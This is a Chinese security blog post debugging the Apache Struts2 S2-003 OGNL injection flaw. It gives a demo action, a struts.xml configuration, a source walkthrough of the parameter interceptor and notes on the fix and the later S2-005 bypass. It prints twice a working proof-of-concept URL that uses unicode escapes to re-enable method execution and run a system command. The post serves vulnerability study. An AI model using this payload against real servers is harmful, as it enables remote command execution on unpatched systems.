D0g3_17

S2-003调试分析
0x00 代码loginAction.java:package com.demo.action; import ...
扫描右侧二维码阅读全文
08
2018/04

S2-003调试分析

0x00 代码

loginAction.java:

package com.demo.action;

import ognl.Ognl;
import ognl.OgnlContext;

public class loginAction {
    public String execute() throws Exception{
        return "error";
    }
}

struts.xml:

<?xml version="1.0" encoding="UTF-8"?>

<!DOCTYPE struts PUBLIC
        "-//Apache Software Foundation//DTD Struts Configuration 2.0//EN"
        "http://struts.apache.org/dtds/struts-2.0.dtd">

<struts>
    <package name="S2-003" extends="struts-default">
        <action name="login" class="com.demo.action.loginAction" method="execute">
            <interceptor-ref name="params"/>
            <result name="error">/index.jsp</result>
        </action>
    </package>
</struts>

0x01 POC

http://127.0.0.1:8080/login.action?'\u0023context[\'xwork.MethodAccessor.denyMethodExecution\']\u003dfalse'(bla)(bla)&'\u0023myret\u003d@java.lang.Runtime@getRuntime().exec(\'calc\')'(bla)(bla)

0x02 分析

tomcat7以上传入特殊字符会报错,所以这个漏洞需要在tomcat6下测试.

因为是param拦截器的问题,所以和S2-001一样在com.opensymphony.xwork2.interceptor.ParametersInterceptor下断.

01.jpg

进入setParameters(),到达com.opensymphony.xwork2.interceptor.ParametersInterceptor:170,

02.jpg

先对ParameterNameAware赋值,注意这里为null,所以后面不会进入acceptableParameterName()判断.

03.jpg

接着使用for循环遍历请求传入的参数,这里有4步操作.

(1)获取参数名;

(2)判断参数名是否合法

(3)获取参数名对应的值

(4)把参数键值对打入值栈

跟如第2步,看下他是怎么判断合法性的.到达com.opensymphony.xwork2.interceptor.ParametersInterceptor:252,

protected boolean acceptableName(String name) {
    if (name.indexOf('=') != -1 || name.indexOf(',') != -1 || name.indexOf('#') != -1
            || name.indexOf(':') != -1 || isExcluded(name)) {
        return false;
    } else {
        return true;
    }
}

可以看到,参数名不能有= , # : 这4个符号.

并且,还要使用isExcluded()方法检测,就在下面就能找到该方法的定义,

protected boolean isExcluded(String paramName) {
    if (!this.excludeParams.isEmpty()) {
        for (Pattern pattern : excludeParams) {
            Matcher matcher = pattern.matcher(paramName);
            if (matcher.matches()) {
                return true;
            }
        }
    }
    return false;
}

使用正则excludeParams对参数名进行匹配,匹配不上就会返回false,在同文件找到其定义,

04.jpg

为空,所以这里返回false.

我们先假设参数通过了检测,那么下一步就是获取参数的值,然后调用setParameters()压入值栈.

05.jpg

跟进该方法,到达com.opensymphony.xwork2.util.OgnlValueStack:146,

06.jpg

继续跟进setValue(),到达同文件com.opensymphony.xwork2.util.OgnlValueStack:153,

07.jpg

可以看到expr传入了OgnlUtil.setValue(),作为OGNL表达式执行了.

所以,至少这里expr我们是可控的.但是不能使用#.

如果想执行命令,需要把denyMethodExecution设置为false(默认为true),该参数会禁止方法执行,这就需要用到#操作非根对象.

可以使用unicode编码来绕过,也就是\u0023.

此处POC的构造利用了Expression Evaluation.

08.png

但是为什么要用这种操作我一直没看明白,希望大佬指点.

所以最终的POC就是:

'\u0023context[\'xwork.MethodAccessor.denyMethodExecution\']\u003dfalse'(bla)(bla)&'\u0023myret\u003d@java.lang.Runtime@getRuntime().exec(\'calc\')'(bla)(bla)

网上很多POC都是针对st2-005的,对于st2-003,其实只要把denyMethodExecution设为false就行了.

0x03 修复

官方的修复是使用了白名单机制来过滤参数名(但是他的正则仍然基于黑名单),

09.jpg

然后又加了一个newStack(),

10.jpg

最后还搞出了个沙盒机制,默认禁止了静态方法的调用.

但是,这一些列操作也还是没防住,unicode编码还是能用,利用OGNL先把沙盒关闭,就又能执行命令了,这就是后面的S2-005了.

0x04 总结

这个洞相比S2-001来说要简单一些,简单来说就是St2把请求中的参数名解析为OGNL表达式执行了,虽然过滤了#,但是可以用unincode绕过.

0x05 参考

https://cwiki.apache.org/confluence/display/WW/S2-003

https://commons.apache.org/proper/commons-ognl/language-guide.html

Last modification:July 12th, 2018 at 12:12 am
If you think my article is useful to you, please feel free to appreciate

Leave a Comment